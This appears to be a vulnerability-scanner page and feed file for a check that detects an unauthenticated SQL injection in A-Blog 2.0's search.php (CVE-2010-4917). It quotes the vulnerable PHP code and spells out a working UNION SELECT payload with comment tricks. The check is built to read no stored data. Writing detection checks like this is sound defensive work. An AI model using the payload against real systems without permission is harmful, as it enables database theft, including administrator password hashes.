A-Blog — 1 vulnerability check
noctis ships 1 vulnerability check for A-Blog, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
A-Blog search.php words SQL Injection
| CVE | CVE-2010-4917 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/a-blog/CVE-2010-4917.yaml |
A-Blog 2.0 puts the words parameter of search.php, only trimmed, inside a quoted LIKE clause of an SQL query, without authentication, and lists the returned rows, allowing SQL injection (an attacker can read the whole database, including the administrator accounts and their password hashes).
This check requests search.php under the web root and the usual install paths. Where it answers, it sends a words value that closes the quoted string and appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the result list contains the product computed by the database, which never appears in the request. No stored data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search.php - HTTP(S) request
GET {{dir}}/search.php?words={{sc.q_union}} - Parses / computes the next value with a Rhai script
- Checks
hit_dirfor^/→ finding QoD 97: A-Blog search.php words SQL Injection (CVE-2010-4917)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-4917
- https://www.exploit-db.com/exploits/14894
- http://www.securityfocus.com/bid/42988
- https://sourceforge.net/projects/a-blog/
Feed source — tests/vulnerabilities/a-blog/CVE-2010-4917.yaml
# A-Blog 2.0 — search.php words SQL injection — CVE-2010-4917
#
# search.php (A-Blog 2.0, SourceForge a-blog, A-BlogV2.rar — the last release, Dec 2005)
# includes sources/search.php, which runs, with no authentication:
# $words2 = trim($_GET['words']);
# $search = str_replace(" ", "%", "$words2");
# $sql = "SELECT * FROM site_news WHERE title LIKE '%$search%' OR home_text LIKE
# '%$search%' OR extended_text LIKE '%$search%'";
# $sql_result = mysql_query($sql,$connection) or die ("Couldnt execute query");
# and prints every returned row as
# <li><a href='blog.php?view=news&id=$id' title='Read $title'>$title</a></li>
# site_news has 10 columns (nid, title, home_text, extended_text, author, views, rating,
# totalvotes, date, category — installer.php), title is the 2nd. Spaces become "%", so
# the payload uses /**/ as separator; "#" comments out the rest of the query. The page
# also prints "Search Results - $search" (the raw payload), so a reflected marker is no
# proof: the feed checks for a product computed by the database instead.
#
# Detection (QoD 97), per candidate install dir whose search.php answers 200:
# search.php?words=%'/**/UNION/**/SELECT/**/1,C,C,C,5,6,7,8,9,10/**/#
# with C = CONCAT(0x4e4f43544953,a*b,0x454e44) and random six-digit a, b.
# The vulnerable page lists NOCTIS<a*b>END as a news title. The product a*b is never in
# the request. Read-only: no table is selected from and nothing is written.
#
# Better than the source NASL:
# - the reference check dumps name:password from site_administrators (no stored data is
# read here, and an install with an unexpected admin name/hash shape is not missed);
# - a database-computed value cannot be matched by a page or a honeypot that only
# reflects the request;
# - the web root and the usual install directories are probed, not only /blog.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_a-blog_42988.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100791, GPL-2.0-only); exploit EDB-14894.
uid: bd3a4510-097f-4ebc-a04e-ff25475eca92
name: "A-Blog search.php words SQL Injection (CVE-2010-4917)"
description: |
A-Blog 2.0 puts the words parameter of search.php, only trimmed, inside a quoted
LIKE clause of an SQL query, without authentication, and lists the returned rows,
allowing SQL injection (an attacker can read the whole database, including the
administrator accounts and their password hashes).
This check requests search.php under the web root and the usual install paths. Where
it answers, it sends a words value that closes the quoted string and appends a UNION
SELECT of an expression multiplying two random numbers. The vulnerability is confirmed
when the result list contains the product computed by the database, which never
appears in the request. No stored data is read and nothing is written.
cves: [CVE-2010-4917]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [a-blog, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-4917"
- "https://www.exploit-db.com/exploits/14894"
- "http://www.securityfocus.com/bid/42988"
- "https://sourceforge.net/projects/a-blog/"
# OpenVAS/Greenbone NASL 2010/gb_a-blog_42988.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected value and the encoded words payload ─────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q_union: "%25%27/**/UNION/**/SELECT/**/1," + c + "," + c + "," + c
+ ",5,6,7,8,9,10/**/%23" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/blog", "/a-blog", "/ablog", "/A-BlogV2"]
- id: init-union-resp
action: set_var
var_name: union_resp
var_value: {status: 0, body: ""}
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/search.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == ""'
store_as: landing
- id: union-probe
action: http_request
method: GET
path: "{{dir}}/search.php?words={{sc.q_union}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && landing.status == 200'
store_as: union_resp
- id: check-union
action: script
condition: 'hit_dir == "" && landing.status == 200'
code: |
let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
# ── Finding ───────────────────────────────────────────────────────────────
- id: report
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "A-Blog search.php words SQL Injection (CVE-2010-4917)"
description: "An unauthenticated search.php request whose words value closes the quoted LIKE string and appends a UNION SELECT multiplying two random numbers returned the product computed by the database: an attacker can read the whole database, including the administrator accounts and their password hashes."
remediation: "No fixed A-Blog release exists (2.0 is the last version): remove the application, or at least restrict access to it (for example with HTTP authentication on its directory)."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit_dir}}: search.php?words=%'/**/UNION/**/SELECT/**/1,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),…,10/**/# listed the database-computed value {{sc.want}}"
stop: true